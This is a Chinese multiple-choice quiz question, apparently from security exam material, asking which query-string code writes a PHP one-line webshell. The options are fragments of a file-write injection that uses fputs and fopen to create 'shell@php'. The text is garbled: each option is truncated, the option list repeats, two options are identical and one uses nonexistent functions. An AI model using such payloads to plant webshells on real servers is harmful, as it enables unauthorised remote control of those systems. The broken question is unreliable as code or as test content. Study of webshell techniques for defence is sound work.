以下代码哪一项是可以写入一句话木马的（）
A?foobar=fputs(fopen(‘shell@php’,’A’),’<?php
B?foobar=fputs(fopen(‘shell@php’,’W’),’<?php
C?foobar=fputs(fopen(‘shell@php’,’W’),’<?php
D?foobar=input(foout(‘shell@php’,’W’),’<?php
A?foobar=fputs(fopen(‘shell@php’,’A’),’<?php
B?foobar=fputs(fopen(‘shell@php’,’W’),’<?php
C?foobar=fputs(fopen(‘shell@php’,’W’),’<?php
D?foobar=input(foout(‘shell@php’,’W’),’<?php